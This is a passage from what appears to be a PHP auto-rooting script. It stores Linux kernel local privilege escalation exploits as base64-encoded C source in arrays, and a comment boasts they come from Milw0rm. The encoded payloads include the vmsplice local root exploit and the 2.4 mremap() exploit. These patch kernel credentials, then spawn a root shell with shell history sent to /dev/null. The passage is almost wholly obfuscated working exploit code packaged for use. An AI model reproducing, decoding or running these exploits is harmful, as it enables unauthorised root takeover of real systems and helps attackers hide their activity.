c3AsICUlZWF4IDtcIg0KCVwiYW5kbCAlMSwgJSVlYXggO1wiDQoJXCJtb3ZsICglJWVheCksICUwXCINCgk6IFwiPXJcIiAoY3VycikNCgk6IFwiaVwiICh+ODE5MSkNCgkpOw0KCXJldHVybiAodm9pZCAqKSBjdXJyOw0KfQ0KDQojZWxpZiBkZWZpbmVkIChfX3g4Nl82NF9fKQ0KDQojaWZuZGVmIF9fTlJfdm1zcGxpY2UNCiNkZWZpbmUgX19OUl92bXNwbGljZQkyNzgNCiNlbmRpZg0KDQojZGVmaW5lIFVTRVJfQ1MJCTB4MjMNCiNkZWZpbmUgVVNFUl9TUwkJMHgyYg0KI2RlZmluZSBVU0VSX0ZMCQkweDI0Ng0KDQpzdGF0aWNfaW5saW5lDQp2b2lkCWV4aXRfa2VybmVsKCkNCnsNCglfX2FzbV9fIF9fdm9sYXRpbGVfXyAoDQoJXCJzd2FwZ3MgO1wiDQoJXCJtb3ZxICUwLCAweDIwKCUlcnNwKSA7XCINCglcIm1vdnEgJTEsIDB4MTgoJSVyc3ApIDtcIg0KCVwibW92cSAlMiwgMHgxMCglJXJzcCkgO1wiDQoJXCJtb3ZxICUzLCAweDA4KCUlcnNwKSA7XCINCglcIm1vdnEgJTQsIDB4MDAoJSVyc3ApIDtcIg0KCVwiaXJldHFcIg0KCTogOiBcImlcIiAoVVNFUl9TUyksIFwiclwiIChTVEFDSyhleGl0X3N0YWNrKSksIFwiaVwiIChVU0VSX0ZMKSwNCgkgICAgXCJpXCIgKFVTRVJfQ1MpLCBcInJcIiAoZXhpdF9jb2RlKQ0KCSk7DQp9DQoNCnN0YXRpY19pbmxpbmUNCnZvaWQgKglnZXRfY3VycmVudCgpDQp7DQoJdW5zaWduZWQgbG9uZyBjdXJyOw0KCV9fYXNtX18gX192b2xhdGlsZV9fICgNCglcIm1vdnEgJSVnczooMCksICUwXCINCgk6IFwiPXJcIiAoY3VycikNCgkpOw0KCXJldHVybiAodm9pZCAqKSBjdXJyOw0KfQ0KDQojZWxzZQ0KI2Vycm9yIFwidW5zdXBwb3J0ZWQgYXJjaFwiDQojZW5kaWYNCg0KI2lmIGRlZmluZWQgKF9zeXNjYWxsNCkNCiNkZWZpbmUgX19OUl9fdm1zcGxpY2UJX19OUl92bXNwbGljZQ0KX3N5c2NhbGw0KA0KCWxvbmcsIF92bXNwbGljZSwNCglpbnQsIGZkLA0KCXN0cnVjdCBpb3ZlYyAqLCBpb3YsDQoJdW5zaWduZWQgbG9uZywgbnJfc2VncywNCgl1bnNpZ25lZCBpbnQsIGZsYWdzKQ0KDQojZWxzZQ0KI2RlZmluZSBfdm1zcGxpY2UoZmQsaW8sbnIsZmwpCXN5c2NhbGwoX19OUl92bXNwbGljZSwgKGZkKSwgKGlvKSwgKG5yKSwgKGZsKSkNCiNlbmRpZg0KDQpzdGF0aWMgdWludCB1aWQsIGdpZDsNCg0Kdm9pZAlrZXJuZWxfY29kZSgpDQp7DQoJaW50CWk7DQoJdWludAkqcCA9IGdldF9jdXJyZW50KCk7DQoNCglmb3IgKGkgPSAwOyBpIDwgMTAyNC0xMzsgaSsrKSB7DQoJCWlmIChwWzBdID09IHVpZCAmJiBwWzFdID09IHVpZCAmJg0KCQkgICAgcFsyXSA9PSB1aWQgJiYgcFszXSA9PSB1aWQgJiYNCgkJICAgIHBbNF0gPT0gZ2lkICYmIHBbNV0gPT0gZ2lkICYmDQoJCSAgICBwWzZdID09IGdpZCAmJiBwWzddID09IGdpZCkgew0KCQkJcFswXSA9IHBbMV0gPSBwWzJdID0gcFszXSA9IDA7DQoJCQlwWzRdID0gcFs1XSA9IHBbNl0gPSBwWzddID0gMDsNCgkJCXAgPSAodWludCAqKSAoKGNoYXIgKikocCArIDgpICsgc2l6ZW9mKHZvaWQgKikpOw0KCQkJcFswXSA9IHBbMV0gPSBwWzJdID0gfjA7DQoJCQlicmVhazsNCgkJfQ0KCQlwKys7DQoJfQkNCg0KCWV4aXRfa2VybmVsKCk7DQp9DQoNCnZvaWQJZXhpdF9jb2RlKCkNCnsNCglpZiAoZ2V0dWlkKCkgIT0gMCkNCgkJZGllKFwid3RmXCIsIDApOw0KDQoJcHJpbnRmKFwiWytdIHJvb3RcXG5cIik7DQoJcHV0ZW52KFwiSElTVEZJTEU9L2Rldi9udWxsXCIpOw0KCWV4ZWNsKFwiL2Jpbi9iYXNoXCIsIFwiYmFzaFwiLCBcIi1pXCIsIE5VTEwpOw0KCWRpZShcIi9iaW4vYmFzaFwiLCBlcnJubyk7DQp9DQoNCmludAltYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQoJaW50CQlwaVsyXTsNCglzaXplX3QJCW1hcF9zaXplOw0KCWNoYXIgKgkJbWFwX2FkZHI7DQoJc3RydWN0IGlvdmVjCWlvdjsNCglzdHJ1Y3QgcGFnZSAqCXBhZ2VzWzVdOw0KDQoJdWlkID0gZ2V0dWlkKCk7DQoJZ2lkID0gZ2V0Z2lkKCk7DQoJc2V0cmVzdWlkKHVpZCwgdWlkLCB1aWQpOw0KCXNldHJlc2dpZChnaWQsIGdpZCwgZ2lkKTsNCg0KCXByaW50ZihcIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXFxuXCIpOw0KCXByaW50ZihcIiBMaW51eCB2bXNwbGljZSBMb2NhbCBSb290IEV4cGxvaXRcXG5cIik7DQoJcHJpbnRmKFwiIEJ5IHFhYXpcXG5cIik7DQoJcHJpbnRmKFwiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cXG5cIik7DQoNCglpZiAoIXVpZCB8fCAhZ2lkKQ0KCQlkaWUoXCIhQCMkXCIsIDApOw0KDQoJLyoqKioqLw0KCXBhZ2VzWzBdID0gKih2b2lkICoqKSAmKGludFsyXSl7MCxQQUdFX1NJWkV9Ow0KCXBhZ2VzWzFdID0gcGFnZXNbMF0gKyAxOw0KDQoJbWFwX3NpemUgPSBQQUdFX1NJWkU7DQoJbWFwX2FkZHIgPSBtbWFwKHBhZ2VzWzBdLCBtYXBfc2l6ZSwgUFJPVF9SRUFEIHwgUFJPVF9XUklURSwNCgkgICAgICAgICAgICAgICAgTUFQX0ZJWEVEIHwgTUFQX1BSSVZBVEUgfCBNQVBfQU5PTllNT1VTLCAtMSwgMCk7DQoJaWYgKG1hcF9hZGRyID09IE1BUF9GQUlMRUQpDQoJCWRpZShcIm1tYXBcIiwgZXJybm8pOw0KDQoJbWVtc2V0KG1hcF9hZGRyLCAwLCBtYXBfc2l6ZSk7DQoJcHJpbnRmKFwiWytdIG1tYXA6IDB4JWx4IC4uIDB4JWx4XFxuXCIsIG1hcF9hZGRyLCBtYXBfYWRkciArIG1hcF9zaXplKTsNCglwcmludGYoXCJbK10gcGFnZTogMHglbHhcXG5cIiwgcGFnZXNbMF0pOw0KCXByaW50ZihcIlsrXSBwYWdlOiAweCVseFxcblwiLCBwYWdlc1sxXSk7DQoNCglwYWdlc1swXS0+ZmxhZ3MgICAgPSAxIDw8IFBHX2NvbXBvdW5kOw0KCXBhZ2VzWzBdLT5wcml2YXRlICA9ICh1bnNpZ25lZCBsb25nKSBwYWdlc1swXTsNCglwYWdlc1swXS0+Y291bnQgICAgPSAxOw0KCXBhZ2VzWzFdLT5scnUubmV4dCA9IChsb25nKSBrZXJuZWxfY29kZTsNCg0KCS8qKioqKi8NCglwYWdlc1syXSA9ICoodm9pZCAqKikgcGFnZXNbMF07DQoJcGFnZXNbM10gPSBwYWdlc1syXSArIDE7DQoNCgltYXBfc2l6ZSA9IFBBR0VfU0laRTsNCgltYXBfYWRkciA9IG1tYXAocGFnZXNbMl0sIG1hcF9zaXplLCBQUk9UX1JFQUQgfCBQUk9UX1dSSVRFLA0KCSAgICAgICAgICAgICAgICBNQVBfRklYRUQgfCBNQVBfUFJJVkFURSB8IE1BUF9BTk9OWU1PVVMsIC0xLCAwKTsNCglpZiAobWFwX2FkZHIgPT0gTUFQX0ZBSUxFRCkNCgkJZGllKFwibW1hcFwiLCBlcnJubyk7DQoNCgltZW1zZXQobWFwX2FkZHIsIDAsIG1hcF9zaXplKTsNCglwcmludGYoXCJbK10gbW1hcDogMHglbHggLi4gMHglbHhcXG5cIiwgbWFwX2FkZHIsIG1hcF9hZGRyICsgbWFwX3NpemUpOw0KCXByaW50ZihcIlsrXSBwYWdlOiAweCVseFxcblwiLCBwYWdlc1syXSk7DQoJcHJpbnRmKFwiWytdIHBhZ2U6IDB4JWx4XFxuXCIsIHBhZ2VzWzNdKTsNCg0KCXBhZ2VzWzJdLT5mbGFncyAgICA9IDEgPDwgUEdfY29tcG91bmQ7DQoJcGFnZXNbMl0tPnByaXZhdGUgID0gKHVuc2lnbmVkIGxvbmcpIHBhZ2VzWzJdOw0KCXBhZ2VzWzJdLT5jb3VudCAgICA9IDE7DQoJcGFnZXNbM10tPmxydS5uZXh0ID0gKGxvbmcpIGtlcm5lbF9jb2RlOw0KDQoJLyoqKioqLw0KCXBhZ2VzWzRdID0gKih2b2lkICoqKSAmKGludFsyXSl7UEFHRV9TSVpFLDB9Ow0KCW1hcF9zaXplID0gUEFHRV9TSVpFOw0KCW1hcF9hZGRyID0gbW1hcChwYWdlc1s0XSwgbWFwX3NpemUsIFBST1RfUkVBRCB8IFBST1RfV1JJVEUsDQoJICAgICAgICAgICAgICAgIE1BUF9GSVhFRCB8IE1BUF9QUklWQVRFIHwgTUFQX0FOT05ZTU9VUywgLTEsIDApOw0KCWlmIChtYXBfYWRkciA9PSBNQVBfRkFJTEVEKQ0KCQlkaWUoXCJtbWFwXCIsIGVycm5vKTsNCgltZW1zZXQobWFwX2FkZHIsIDAsIG1hcF9zaXplKTsNCglwcmludGYoXCJbK10gbW1hcDogMHglbHggLi4gMHglbHhcXG5cIiwgbWFwX2FkZHIsIG1hcF9hZGRyICsgbWFwX3NpemUpOw0KCXByaW50ZihcIlsrXSBwYWdlOiAweCVseFxcblwiLCBwYWdlc1s0XSk7DQoNCgkvKioqKiovDQoJbWFwX3NpemUgPSAoUElQRV9CVUZGRVJTICogMyArIDIpICogUEFHRV9TSVpFOw0KCW1hcF9hZGRyID0gbW1hcChOVUxMLCBtYXBfc2l6ZSwgUFJPVF9SRUFEIHwgUFJPVF9XUklURSwNCgkgICAgICAgICAgICAgICAgTUFQX1BSSVZBVEUgfCBNQVBfQU5PTllNT1VTLCAtMSwgMCk7DQoJaWYgKG1hcF9hZGRyID09IE1BUF9GQUlMRUQpDQoJCWRpZShcIm1tYXBcIiwgZXJybm8pOw0KDQoJbWVtc2V0KG1hcF9hZGRyLCAwLCBtYXBfc2l6ZSk7DQoJcHJpbnRmKFwiWytdIG1tYXA6IDB4JWx4IC4uIDB4JWx4XFxuXCIsIG1hcF9hZGRyLCBtYXBfYWRkciArIG1hcF9zaXplKTsNCg0KCS8qKioqKi8NCgltYXBfc2l6ZSAtPSAyICogUEFHRV9TSVpFOw0KCWlmIChtdW5tYXAobWFwX2FkZHIgKyBtYXBfc2l6ZSwgUEFHRV9TSVpFKSA8IDApDQoJCWRpZShcIm11bm1hcFwiLCBlcnJubyk7DQoNCgkvKioqKiovDQoJaWYgKHBpcGUocGkpIDwgMCkgZGllKFwicGlwZVwiLCBlcnJubyk7DQoJY2xvc2UocGlbMF0pOw0KDQoJaW92Lmlvdl9iYXNlID0gbWFwX2FkZHI7DQoJaW92Lmlvdl9sZW4gID0gVUxPTkdfTUFYOw0KDQoJc2lnbmFsKFNJR1BJUEUsIGV4aXRfY29kZSk7DQoJX3Ztc3BsaWNlKHBpWzFdLCAmaW92LCAxLCAwKTsNCglkaWUoXCJ2bXNwbGljZVwiLCBlcnJubyk7DQoJcmV0dXJuIDA7DQp9DQo=");

//Linux 2.6.23 - 2.6.24
$two_six[3] = base64_decode("LyoNCiAqIGRpYW5lX2xhbmVfZnVja2VkX2hhcmQuYw0KICoNCiAqIExpbnV4IHZtc3BsaWNlIExvY2FsIFJvb3QgRXhwbG9pdA0KICogQnkgcWFheg0KICoNCiAqIExpbnV4IDIuNi4yMyAtIDIuNi4yNA0KICovDQojZGVmaW5lIF9HTlVfU09VUkNFDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN5cy91aW8uaD4NCg0KI2RlZmluZSBUQVJHRVRfUEFUVEVSTgkJXCIgc3lzX3ZtODZvbGRcIg0KI2RlZmluZSBUQVJHRVRfU1lTQ0FMTAkJMTEzDQoNCiNpZm5kZWYgX19OUl92bXNwbGljZQ0KI2RlZmluZSBfX05SX3Ztc3BsaWNlCQkzMTYNCiNlbmRpZg0KDQojZGVmaW5lIF92bXNwbGljZShmZCxpbyxucixmbCkJc3lzY2FsbChfX05SX3Ztc3BsaWNlLCAoZmQpLCAoaW8pLCAobnIpLCAoZmwpKQ0KI2RlZmluZSBnaW1tZXJvb3QoKQkJc3lzY2FsbChUQVJHRVRfU1lTQ0FMTCwgMzEzMzcsIGtlcm5lbF9jb2RlLCAxLCAyLCAzLCA0KQ0KDQojZGVmaW5lIFRSQU1QX0NPREUJCSh2b2lkICopIHRyYW1wb2xpbmUJDQojZGVmaW5lIFRSQU1QX1NJWkUJCSggc2l6ZW9mKHRyYW1wb2xpbmUpIC0gMSApDQoNCnVuc2lnbmVkIGNoYXIgdHJhbXBvbGluZVtdID0NClwiXFx4OGJcXHg1Y1xceDI0XFx4MDRcIgkJLyogbW92ICAgIDB4NCglZXNwKSwlZWJ4CSovDQpcIlxceDhiXFx4NGNcXHgyNFxceDA4XCIJCS8qIG1vdiAgICAweDgoJWVzcCksJWVjeAkqLw0KXCJcXHg4MVxceGZiXFx4NjlcXHg3YVxceDAwXFx4MDBcIgkvKiBjbXAgICAgJDMxMzM3LCVlYngJCSovDQpcIlxceDc1XFx4MDJcIgkJCS8qIGpuZSAgICArMgkJCSovDQpcIlxceGZmXFx4ZDFcIgkJCS8qIGNhbGwgICAqJWVjeAkJCSovDQpcIlxceGI4XFx4ZWFcXHhmZlxceGZmXFx4ZmZcIgkJLyogbW92ICAgICQtRUlOVkFMLCVlYXgJCSovDQpcIlxceGMzXCIJCQkJLyogcmV0CQkJCSovDQo7DQoNCnZvaWQJZGllKGNoYXIgKm1zZywgaW50IGVycikNCnsNCglwcmludGYoZXJyID8gXCJbLV0gJXM6ICVzXFxuXCIgOiBcIlstXSAlc1xcblwiLCBtc2csIHN0cmVycm9yKGVycikpOw0KCWZmbHVzaChzdGRvdXQpOw0KCWZmbHVzaChzdGRlcnIpOw0KCWV4aXQoMSk7DQp9DQoNCmxvbmcJZ2V0X3RhcmdldCgpDQp7DQoJRklMRQkqZjsNCglsb25nCWFkZHIgPSAwOw0KCWNoYXIJbGluZVsxMjhdOw0KDQoJZiA9IGZvcGVuKFwiL3Byb2Mva2FsbHN5bXNcIiwgXCJyXCIpOw0KCWlmICghZikgZGllKFwiL3Byb2Mva2FsbHN5bXNcIiwgZXJybm8pOw0KDQoJd2hpbGUgKGZnZXRzKGxpbmUsIHNpemVvZihsaW5lKSwgZikpIHsNCgkJaWYgKHN0cnN0cihsaW5lLCBUQVJHRVRfUEFUVEVSTikpIHsNCgkJCWFkZHIgPSBzdHJ0b3VsKGxpbmUsIE5VTEwsIDE2KTsNCgkJCWJyZWFrOw0KCQl9DQoJfQ0KDQoJZmNsb3NlKGYpOw0KCXJldHVybiBhZGRyOw0KfQ0KDQpzdGF0aWMgaW5saW5lIF9fYXR0cmlidXRlX18oKGFsd2F5c19pbmxpbmUpKQ0Kdm9pZCAqCWdldF9jdXJyZW50KCkNCnsNCgl1bnNpZ25lZCBsb25nIGN1cnI7DQoJX19hc21fXyBfX3ZvbGF0aWxlX18gKA0KCVwibW92bCAlJWVzcCwgJSVlYXggO1wiDQoJXCJhbmRsICUxLCAlJWVheCA7XCINCglcIm1vdmwgKCUlZWF4KSwgJTBcIg0KCTogXCI9clwiIChjdXJyKQ0KCTogXCJpXCIgKH44MTkxKQ0KCSk7DQoJcmV0dXJuICh2b2lkICopIGN1cnI7DQp9DQoNCnN0YXRpYyB1aW50IHVpZCwgZ2lkOw0KDQp2b2lkCWtlcm5lbF9jb2RlKCkNCnsNCglpbnQJaTsNCgl1aW50CSpwID0gZ2V0X2N1cnJlbnQoKTsNCg0KCWZvciAoaSA9IDA7IGkgPCAxMDI0LTEzOyBpKyspIHsNCgkJaWYgKHBbMF0gPT0gdWlkICYmIHBbMV0gPT0gdWlkICYmDQoJCSAgICBwWzJdID09IHVpZCAmJiBwWzNdID09IHVpZCAmJg0KCQkgICAgcFs0XSA9PSBnaWQgJiYgcFs1XSA9PSBnaWQgJiYNCgkJICAgIHBbNl0gPT0gZ2lkICYmIHBbN10gPT0gZ2lkKSB7DQoJCQlwWzBdID0gcFsxXSA9IHBbMl0gPSBwWzNdID0gMDsNCgkJCXBbNF0gPSBwWzVdID0gcFs2XSA9IHBbN10gPSAwOw0KCQkJcCA9ICh1aW50ICopICgoY2hhciAqKShwICsgOCkgKyBzaXplb2Yodm9pZCAqKSk7DQoJCQlwWzBdID0gcFsxXSA9IHBbMl0gPSB+MDsNCgkJCWJyZWFrOw0KCQl9DQoJCXArKzsNCgl9CQ0KfQ0KDQppbnQJbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKQ0Kew0KCWludAkJcGlbMl07DQoJbG9uZwkJYWRkcjsNCglzdHJ1Y3QgaW92ZWMJaW92Ow0KDQoJdWlkID0gZ2V0dWlkKCk7DQoJZ2lkID0gZ2V0Z2lkKCk7DQoJc2V0cmVzdWlkKHVpZCwgdWlkLCB1aWQpOw0KCXNldHJlc2dpZChnaWQsIGdpZCwgZ2lkKTsNCg0KCXByaW50ZihcIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXFxuXCIpOw0KCXByaW50ZihcIiBMaW51eCB2bXNwbGljZSBMb2NhbCBSb290IEV4cGxvaXRcXG5cIik7DQoJcHJpbnRmKFwiIEJ5IHFhYXpcXG5cIik7DQoJcHJpbnRmKFwiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cXG5cIik7DQoNCglpZiAoIXVpZCB8fCAhZ2lkKQ0KCQlkaWUoXCIhQCMkXCIsIDApOw0KDQoJYWRkciA9IGdldF90YXJnZXQoKTsNCglwcmludGYoXCJbK10gYWRkcjogMHglbHhcXG5cIiwgYWRkcik7DQoNCglpZiAocGlwZShwaSkgPCAwKQ0KCQlkaWUoXCJwaXBlXCIsIGVycm5vKTsNCg0KCWlvdi5pb3ZfYmFzZSA9ICh2b2lkICopIGFkZHI7DQoJaW92Lmlvdl9sZW4gID0gVFJBTVBfU0laRTsNCg0KCXdyaXRlKHBpWzFdLCBUUkFNUF9DT0RFLCBUUkFNUF9TSVpFKTsNCglfdm1zcGxpY2UocGlbMF0sICZpb3YsIDEsIDApOw0KDQoJZ2ltbWVyb290KCk7DQoNCglpZiAoZ2V0dWlkKCkgIT0gMCkNCgkJZGllKFwid3RmXCIsIDApOw0KDQoJcHJpbnRmKFwiWytdIHJvb3RcXG5cIik7DQoJcHV0ZW52KFwiSElTVEZJTEU9L2Rldi9udWxsXCIpOw0KCWV4ZWNsKFwiL2Jpbi9iYXNoXCIsIFwiYmFzaFwiLCBcIi1pXCIsIE5VTEwpOw0KCWRpZShcIi9iaW4vYmFzaFwiLCBlcnJubyk7DQoJcmV0dXJuIDA7DQp9DQo=");


$two_four = array(); // all 2.4 exploits stored as an array for later foreach usage
// All the 2.4 exploits from Milw0rm cause I'm 1337 like that
$two_four[0] = base64_decode("LyoNCiAqIExpbnV4IGtlcm5lbCBtcmVtYXAoKSBib3VuZCBjaGVja2luZyBidWcgZXhwbG9pdC4NCiAqDQogKiBCdWcgZm91bmQgYnkgUGF1bCBTdGFyemV0eiA8cGF1bCBpc2VjIHBsPg0KICoNCiAqIENvcHlyaWdodCAoYykgMjAwNCAgaVNFQyBTZWN1cml0eSBSZXNlYXJjaC4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4NCiAqDQogKiBUSElTIFBST0dSQU0gSVMgRk9SIEVEVUNBVElPTkFMIFBVUlBPU0VTICpPTkxZKiBJVCBJUyBQUk9WSURFRCBcIkFTIElTXCINCiAqIEFORCBXSVRIT1VUIEFOWSBXQVJSQU5UWS4gQ09QWUlORywgUFJJTlRJTkcsIERJU1RSSUJVVElPTiwgTU9ESUZJQ0FUSU9ODQogKiBXSVRIT1VUIFBFUk1JU1NJT04gT0YgVEhFIEFVVEhPUiBJUyBTVFJJQ1RMWSBQUk9ISUJJVEVELg0KICovDQoNCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8ZmNudGwuaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNpbmNsdWRlIDxzeXNjYWxsLmg+DQojaW5jbHVkZSA8c2lnbmFsLmg+DQojaW5jbHVkZSA8dGltZS5oPg0KI2luY2x1ZGUgPHNjaGVkLmg+DQoNCiNpbmNsdWRlIDxzeXMvbW1hbi5oPg0KI2luY2x1ZGUgPHN5cy9zdGF0Lmg+DQojaW5jbHVkZSA8c3lzL3dhaXQuaD4NCg0KI2luY2x1ZGUgPGFzbS9wYWdlLmg+DQoNCiNkZWZpbmUgTVJFTUFQX01BWU1PVkUJMQ0KI2RlZmluZSBNUkVNQVBfRklYRUQJMg0KDQojZGVmaW5lIHN0cihzKSAJI3MNCiNkZWZpbmUgeHN0cihzKSBzdHIocykNCg0KI2RlZmluZSBEU0lHTkFMCQlTSUdDSExEDQojZGVmaW5lIENMT05FRkwJCShEU0lHTkFMfENMT05FX0ZTfENMT05FX0ZJTEVTfENMT05FX1NJR0hBTkR8Q0xPTkVfVkZPUkspDQojZGVmaW5lIFBBR0VBRERSCTB4MjAwMA0KDQojZGVmaW5lIFJORElOVAkJNTEyDQoNCiNkZWZpbmUgTlVNVk1BCQkoMyAqIDUgKiAyNTcpDQojZGVmaW5lIE5VTUZPUksJCSgxNyAqIDY1NTM3KQ0KDQojZGVmaW5lIERVUFRPCQkxMDAwDQojZGVmaW5lIFRNUExFTgkJMjU2DQoNCiNkZWZpbmUgX19OUl9zeXNfbXJlbWFwCTE2Mw0KDQpfc3lzY2FsbDUodWxvbmcsIHN5c19tcmVtYXAsIHVsb25nLCBhLCB1bG9uZywgYiwgdWxvbmcsIGMsIHVsb25nLCBkLCB1bG9uZywgZSk7DQp1bnNpZ25lZCBsb25nIHN5c19tcmVtYXAodW5zaWduZWQgbG9uZyBhZGRyLCB1bnNpZ25lZCBsb25nIG9sZF9sZW4sIHVuc2lnbmVkIGxvbmcNCm5ld19sZW4sDQoJCQkgdW5zaWduZWQgbG9uZyBmbGFncywgdW5zaWduZWQgbG9uZyBuZXdfYWRkcik7DQoNCg0Kc3RhdGljIHZvbGF0aWxlIGludCBwaWQgPSAwLCBwcGlkLCBocGlkLCAqdmljdGltLCAqZm9wcywgYmxhaCA9IDAsIGR1bW15ID0gMCwgdWlkLA0KZ2lkOw0Kc3RhdGljIHZvbGF0aWxlIGludCAqdm1hX3JvLCAqdm1hX3J3LCAqdG1wOw0Kc3RhdGljIHZvbGF0aWxlIHVuc2lnbmVkIGZha2VfZmlsZVsxNl07DQoNCg0Kdm9pZCBmYXRhbChjb25zdCBjaGFyICogbXNnKQ0Kew0KCXByaW50ZihcIlxcblwiKTsNCglpZiAoIWVycm5vKSB7DQoJCWZwcmludGYoc3RkZXJyLCBcIkZBVEFMOiAlc1xcblwiLCBtc2cpOw0KCX0gZWxzZSB7DQoJCXBlcnJvcihtc2cpOw0KCX0NCg0KCXByaW50ZihcIlxcbmVudGVyaW5nIGVuZGxlc3MgbG9vcFwiKTsNCglmZmx1c2goc3Rkb3V0KTsNCglmZmx1c2goc3RkZXJyKTsNCgl3aGlsZSAoMSkgcGF1c2UoKTsNCn0NCg0Kdm9pZCBrZXJuZWxfY29kZSh2b2lkICogZmlsZSwgbG9mZl90IG9mZnNldCwgaW50IG9yaWdpbikNCnsNCglpbnQgaSwgYzsNCglpbnQgKnY7DQoNCglpZiAoIWZpbGUpDQoJCWdvdG8gb3V0Ow0KDQoJX19hc21fXyhcIm1vdmwJJSVlc3AsICUwXCIgOiA6IFwibVwiIChjKSk7DQoNCgljICY9IDB4ZmZmZmUwMDA7DQoJdiA9ICh2b2lkICopIGM7DQoNCglmb3IgKGkgPSAwOyBpIDwgUEFHRV9TSVpFIC8gc2l6ZW9mKCp2KSAtIDE7IGkrKykgew0KCQlpZiAodltpXSA9PSB1aWQgJiYgdltpKzFdID09IHVpZCkgew0KCQkJaSsrOyB2W2krK10gPSAwOyB2W2krK10gPSAwOyB2W2krK10gPSAwOw0KCQl9DQoJCWlmICh2W2ldID09IGdpZCkgew0KCQkJdltpKytdID0gMDsgdltpKytdID0gMDsgdltpKytdID0gMDsgdltpKytdID0gMDsNCgkJCWJyZWFrOw0KCQl9DQoJfQ0Kb3V0Og0KCWR1bW15Kys7DQp9DQoNCnZvaWQgdHJ5X3RvX2V4cGxvaXQodm9pZCkNCnsNCglpbnQgdiA9IDA7DQoNCgl2ICs9IGZvcHNbMF07DQoJdiArPSBmYWtlX2ZpbGVbMF07DQoNCglrZXJuZWxfY29kZSgwLCAwLCB2KTsNCglsc2VlayhEVVBUTywgMCwgU0VFS19TRVQpOw0KDQoJaWYgKGdldGV1aWQoKSkgew0KCQlwcmludGYoXCJcXG5GQUlMRUQgdWlkIT0wXCIpOyBmZmx1c2goc3Rkb3V0KTsNCgkJZXJybm8gPS0gRU5PU1lTOw0KCQlmYXRhbChcInVpZCBjaGFuZ2VcIik7DQoJfQ0KDQoJcHJpbnRmKFwiXFxuWytdIFBJRCAlZCBHT1QgVUlEIDAsIGVuam95IVwiLCBnZXRwaWQoKSk7IGZmbHVzaChzdGRvdXQpOw0KDQoJa2lsbChwcGlkLCBTSUdVU1IxKTsNCglzZXRyZXN1aWQoMCwgMCwgMCk7DQoJc2xlZXAoMSk7DQoNCglwcmludGYoXCJcXG5cXG5cIik7IGZmbHVzaChzdGRvdXQpOw0KDQoJZXhlY2woXCIvYmluL2Jhc2hcIiwgXCJiYXNoXCIsIE5VTEwpOw0KCWZhdGFsKFwiYnVycFwiKTsNCn0NCg0Kdm9pZCBjbGVhbnVwKGludCB2KQ0Kew0KCXZpY3RpbVtEVVBUT10gPSB2aWN0aW1bMF07DQoJa2lsbCgwLCBTSUdVU1IyKTsNCn0NCg0KDQp2b2lkIHJlZGlyZWN0X2ZpbHAoaW50IHYpDQp7DQoJcHJpbnRmKFwiXFxuWyFdIHBhcmVudCBjaGVjayByYWNlLi4uIFwiKTsgZmZsdXNoKHN0ZG91dCk7DQoNCglpZiAodmljdGltW0RVUFRPXSAmJiB2aWN0aW1bMF0gPT0gdmljdGltW0RVUFRPXSkgew0KCQlwcmludGYoXCJTVUNDRVNTLCBjb3VnaHQgU0xBQiBwYWdlIVwiKTsgZmZsdXNoKHN0ZG91dCk7DQoJCXZpY3RpbVtEVVBUT10gPSAodW5zaWduZWQpICYgZmFrZV9maWxlOw0KCQlzaWduYWwoU0lHVVNSMSwgJmNsZWFudXApOw0KCQlraWxsKHBpZCwgU0lHVVNSMSk7DQoJfSBlbHNlIHsNCgkJcHJpbnRmKFwiRkFJTEVEIVwiKTsNCgl9DQoJZmZsdXNoKHN0ZG91dCk7DQp9DQoNCmludCBnZXRfc2xhYl9vYmpzKHZvaWQpDQp7DQoJRklMRSAqIGZwOw0KCWludCBjLCBkLCB1ID0gMCwgYSA9IDA7DQoJc3RhdGljIGNoYXIgbGluZVtUTVBMRU5dLCBuYW1lW1RNUExFTl07DQoNCglmcCA9IGZvcGVuKFwiL3Byb2Mvc2xhYmluZm9cIiwgXCJyXCIpOw0KCWlmICghZnApDQoJCWZhdGFsKFwiZm9wZW5cIik7DQoNCglmZ2V0cyhuYW1lLCBzaXplb2YobmFtZSkgLSAxLCBmcCk7DQoJZG8gew0KCQljID0gdSA9IGEgPS0gMTsNCgkJaWYgKCFmZ2V0cyhsaW5lLCBzaXplb2YobGluZSkgLSAxLCBmcCkpDQoJCQlicmVhazsNCmMgPSBzc2NhbmYobGluZSwgXCIlcyAldSAldSAldSAldSAldSAldVwiLCBuYW1lLCAmdSwgJmEsICZkLCAmZCwgJmQsICZkKTsNCgl9IHdoaWxlIChzdHJjbXAobmFtZSwgXCJzaXplLTQwOTZcIikpOw0KCQ0KCWZjbG9zZShmcCk7DQoNCglyZXR1cm4gYyA9PSA3ID8gYSAtIHUgOiAtMTsNCn0NCg0Kdm9pZCB1bnByb3RlY3QoaW50IHYpDQp7DQoJaW50IG4sIGMgPSAxOw0KDQoJKnZpY3RpbSA9IDA7DQoJcHJpbnRmKFwiXFxuWytdIHBhcmVudCB1bnByb3RlY3RlZCBQVEUgXCIpOyBmZmx1c2goc3Rkb3V0KTsNCg0KCWR1cDIoMCwgMik7DQoJd2hpbGUgKDEpIHsNCgkJbiA9IGdldF9zbGFiX29ianMoKTsNCgkJaWYgKG4gPCAwKQ0KCQkJZmF0YWwoXCJyZWFkIHNsYWJpbmZvXCIpOw0KCQlpZiAobiA+IDApIHsNCgkJCXByaW50ZihcIlxcbiAgICBkZXBvcHVsYXRlIFNMQUIgIyVkXCIsIGMrKyk7DQoJCQlibGFoID0gMDsga2lsbChocGlkLCBTSUdVU1IxKTsNCgkJCXdoaWxlICgh